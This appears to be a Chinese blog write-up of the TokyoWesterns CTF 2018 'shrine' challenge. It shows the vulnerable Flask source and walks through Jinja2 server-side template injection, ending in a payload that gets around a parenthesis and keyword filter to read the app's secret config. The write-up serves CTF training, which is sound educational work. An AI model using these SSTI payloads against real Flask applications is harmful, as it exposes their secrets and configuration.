WP-TokyoWesterns CTF 4th 2018 shrine

题目复现

https://github.com/CTFTraining/westerns_2018_shrine/tree/3ed6a3c77c5f62cbf9ec39faebcbb06b0b668b51

1
2
3
4
git clone https://github.com/CTFTraining/westerns_2018_shrine.git
cd westerns_2018_shrine
docker-compose up -d
docker run -d -p 1000:5000 ctftraining/westerns_2018_shrine:latest

访问 http://[你的ip]:1000/ 即可

分析

打开页面就是一段源码,右键查看下源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

明显是个 flask 在 /shrine/ 下的 SSTI

而且对 payload 进行了过滤

  • 对小括号进行了替换,将 () 替换为空字符串
  • 将 config 和 self 添加进了黑名单

题目解析

1
{{7*7}}

1
{{7*'7'}}

测试发现是 jinja2 或 Twig,后端源码为 flask

所以这个是关于 flask + jinja2 的 SSTI

至于为什么,请看图

1
{{''.__class__.__mro__[2].__subclasses__()}}

明显这里对 () 进行了过滤

只能从别的地方入手,例如 flask 的内置函数和变量,

当然,config 和 self 也被加入了黑名单

但通过变量去读取 app.config 也会涉及到 () 的使用

所以只剩下内置函数

get_flashed_messages(), url_for()

构造payload

1
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

得到flag

总结

这是一道很简单很基础的 SSTI

总体思路就是

  1. 判断 SSTI 类型
  2. 分析过滤
  3. 构造 payload

最后,关于 SSTI :

SSTI-服务端模板注入简析

AbelChe wechat
扫码加微信
Donate here!!!
0%